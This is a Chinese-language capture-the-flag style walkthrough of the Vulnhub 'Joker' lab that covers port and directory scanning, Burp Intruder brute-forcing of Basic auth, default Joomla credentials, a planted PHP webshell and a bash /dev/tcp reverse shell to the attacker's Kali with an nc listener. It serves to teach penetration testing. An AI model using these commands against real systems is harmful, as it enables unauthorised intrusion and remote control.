📖 前言:Vulnhub 是一个漏洞靶场平台,里面含有大量的靶场镜像,只需要下载虚拟机镜像,导入 VMWare 或者 VirtualBox 即可启动靶场。本文将从环境搭建、端口扫描、目录扫描到信息提取和突破8080端口,尽可能排除新版本遇到的环境Bug,详解介绍渗透测试全过程。如果你是新手小白,本文将带你一窥渗透测试的世界。
目录
- 🕒 1. Kali环境与Joker靶场搭建
- 🕒 2. 端口扫描
- 🕘 2.1 nmap
- 🕘 2.2 fscan
- 🕒 3. 目录扫描
- 🕘 3.1 dirsearch
- 🕘 3.2 Dirb
- 🕒 4. 信息提取
- 🕒 5. 8080端口突破
- 🕘 5.1 爆破账号密码
- 🕘 5.2 入侵后台管理
- 🕘 5.3 webshell
- 🕘 5.4 反弹shell
🕒 1. Kali环境与Joker靶场搭建
🔎 Kali Linux环境部署
注:Kali应设置为桥接模式。
首先,开启命令行窗口输入ifconfig
查看IP地址。
Kali 输入
ifconfig
后eth0只有ipv6地址的解决方案
1、在虚拟网络编辑器上选择桥接模式,桥接的网卡别选自动,选择自己的网卡,具体可以在网络和适配器中查看
2、再次ifconfig
,ipv4地址出现。
🔎 Joker靶场
解压后用VMware打开即可。
🕒 2. 端口扫描
🕘 2.1 nmap
nmap 192.168.31.*
对Kali所属的网段进行全网段扫描,其中*
表示通配符0~255。观察开放端口,及对应的不同服务。
如果开放的端口有80端口,推测该主机很有可能是一个网站服务器,在浏览器中的地址栏中输入此地址192.168.31.182
尝试进行访问。
进一步扫描该靶场开放的端口信息
nmap -T4 -sV -A 192.168.31.182
-T4 提高扫描速度,-sV 检测服务版本,-A 启用高级扫描选项如操作系统探测和脚本扫描。
依次访问端口查看开放了什么服务
192.168.31.182:8080 # HTTP
发现需要账号密码才能进行登录,接下来要想办法收集账号密码信息,先用root账户和弱密码试试。
192.168.31.182:22 # SSH
注:在XShell中尝试进行SSH连接
发现不行,我们后文再讨论其收集方法。
🕘 2.2 fscan
fscan一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
它支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
🔎 fscan下载链接
注意杀毒软件设置信任
fscan.exe -h 192.168.31.0/24
🕒 3. 目录扫描
🕘 3.1 dirsearch
在安全测试时,进行信息收集时可使用dirsearch进行目录枚举。将爬取到的url进行状态码识别,如果是403状态则进行保存,尝试绕过403以找到隐藏文件,并获取管理员权限。
🔎 dirsearch下载链接
下载完成后,直接在路径处输入cmd快速在当前目录下打开
随后批量安装依赖库,在CMD窗口中执行:
pip install -r requirements.txt # 安装依赖库
安装完成依赖库,即可开始批量扫描:
python dirsearch.py -u http://192.168.31.182
HTTP 状态码科普
- 2xx 存在且可访问
- 3xx 存在但是给你重定向到另外的网站了
- 403 可能存在,但是不允许你访问
- 404 不存在
- 405 请求方式不被允许
- 500 服务器错误,通常是指服务器不能使用或者故障
🔎 HTTP 状态码 - 菜鸟教程
重点看图中标绿色的两个文件 phpinfo.php 和 secret.txt
其中phpinfo里面都是一些配置信息,价值不大。secret文件可以看到一段信息。
🕘 3.2 Dirb
在Kali中,我们同样可以使用web网站目录爆破工具Dirb进行目录扫描
在扫描过程中,选取详细强大的字典尤为重要。这里我们直接选取dirsearch的字典。
dirb http://192.168.31.182 dicc.txt -w
可以看到dirb扫描较慢,是由于单线程的缘故,实战中常使用前述采用多线程的dirsearch。
🕒 4. 信息提取
FindSomething是一款轻量级的浏览器插件,帮助用户快速查找网页源代码和JavaScript中的隐藏信息,如API请求、IP地址、敏感数据泄露等,便于开发者和安全人员进行分析。
我们可以在Chrome(需科学上网)或Firefox的扩展商店下载安装。
打开网页,右上角点击插件FindSomething,我们就可以看到站点的相关信息了。
🕒 5. 8080端口突破
🕘 5.1 爆破账号密码
书接上回,我们需要通过Brup Suite抓包分析
🔎 Brup Suite平台安装
通过尝试弱口令登录并代理发现,其请求包中发送的账号密码是隐藏的,隐藏在Authentication字段中。很明显我们猜测是某种加密或编码,我们放到编码工具尝试解码一下。
挨个尝试一下,发现是Base64编码的,这里也看到了我们尝试登陆的账号与弱口令。
接下来我们对其payload进行处理,观察格式为账号:密码
,发送到Intruder中
在Payload的标签页中下划到Payload处理 → 添加 → 添加前缀 → admin:
添加 → 编码 → Base64编码
开始攻击
观察结果,发现长度没区别,换言之并没有解开密码。会不会是字典不全面?
还记得前面我们目录扫描到的secret.txt
吗,其实里面有些提示。
其实指的是rockyou这个字典
我们更改字典尝试一下
似乎没什么变化,是不是我们账号错了?结合secret.txt
的提示,是去击败joker。我们猜测一下用户名是joker。
我们惊喜的发现,获取到正确的密码,并且成功登录了。
接下来我们尝试获取网站后台管理最高权限。
Joomla框架的网页在登录的时候会有一个超级管理员的默认账号密码是joomla/joomla,尝试使用弱口令进行登录,用同样的方式进行后台登录。
🕘 5.2 入侵后台管理
以上页面搜寻一圈,发现没有什么可以攻击的地方,对于一个网站而言,应该是会有个后台管理页面,会在哪里呢?
请出dirsearch
软件
python dirsearch.py --auth-type=basic --auth=joker:hannah -u http://192.168.31.182:8080/
账号密码就是前面我们推测的超级管理员的 joomla/joomla
🕘 5.3 webshell
shell是渗透中常用的名词,如getshell,webshell,反弹shell等等,都和shell相关。
- getshell:获取到目标的命令执行权限
- webshell:指网站后门,通过web服务进行命令执行
- 反弹shell:把命令行的输入输出转移到其它主机
逐一点开各功能搜寻是否有上传文件的位置
Extension:插件扩展,大多数漏洞都源自于此
点进去后发现是个主题,随便进入一个
我们惊喜的发现我们可以随意编辑与新增文件!试试一句话木马
成功保存!接下来需要尝试寻找该文件所在的URL,先采取猜测拼接的方法。
以上图为例,我们是将文件保存在beez3/language
这个目录下,我们尝试将其拼接进URL
http://192.168.31.182:8080/templates/beez3/language/test.php
注意这个templates
不是一下子就想出来的哦,比如会猜测是template/Templates/templates 这些,一个个尝试联想排除。
我们将代码改成webshell的,随后使用中国蚁剑控制,第一次用该软件的友友可以参考下面的文章过一遍
🔎 【DVWA】——File Upload(文件上传)
发现不成功,为什么呢?这里其实涉及basic认证的问题,使用BP抓包可以发现
将认证信息复制进配置里,即可连接成功
🕘 5.4 反弹shell
什么是反弹shell:简单理解就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
为什么要反弹shell:被控端会出现防火墙受限、权限不足、端口被占用等情形。
在本次实验中,我们让joker连接至kali。现实情况下,我们会采取购置一个公网IP的方式使受害者主机连接,而不是连接到攻击者主机的虚拟机kali。
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.31.232/7777 0>&1'");?>
这个 PHP 代码段执行了一条命令,该命令通过 Bash 创建了一个反向 shell 连接:
- PHP
exec
函数:exec
是 PHP 的一个函数,用于执行系统命令,并且可以获取命令的输出。/bin/bash -c
: 这是告诉 Bash 执行后面指定的命令字符串。-c
选项表示要执行的命令是在引号中指定的字符串。bash -i
: 启动一个交互式的 Bash shell。>& /dev/tcp/192.168.31.232/7777
: 将标准输出和标准错误输出重定向到/dev/tcp/192.168.31.232/7777
。这是一个特殊的设备文件,它允许 Bash 通过 TCP 协议连接到指定的 IP 地址和端口。0>&1
: 将标准输入重定向到标准输出(已经重定向到 TCP 连接的设备)。
将上述代码写入前面创建的test.php
中,并在kali中开启监听
nc -lvnp 7777
nc
:调用netcat
,一个用于网络连接的工具,可以作为服务器端或客户端使用,通常用于调试、创建反向Shell等。-l
:表示监听模式,即等待来自外部的连接,充当一个服务器。-v
:启用详细模式,显示更多连接过程中的详细信息。-n
:忽略DNS解析,直接使用IP地址(加快连接速度)。-p 7777
:指定监听的端口号,这里是7777
端口。
刷新一下test.php
所在的URL
可以看到kali此刻已经拿下命令行权限。
OK,以上就是本期知识点“Joker靶场实战”的知识啦~~ ,感谢友友们的阅读。后续还会继续更新,欢迎持续关注哟📌~
💫如果有错误❌,欢迎批评指正呀👀~让我们一起相互进步🚀
🎉如果觉得收获满满,可以点点赞👍支持一下哟~
❗ 转载请注明出处
作者:HinsCoder
博客链接:🔎 作者博客主页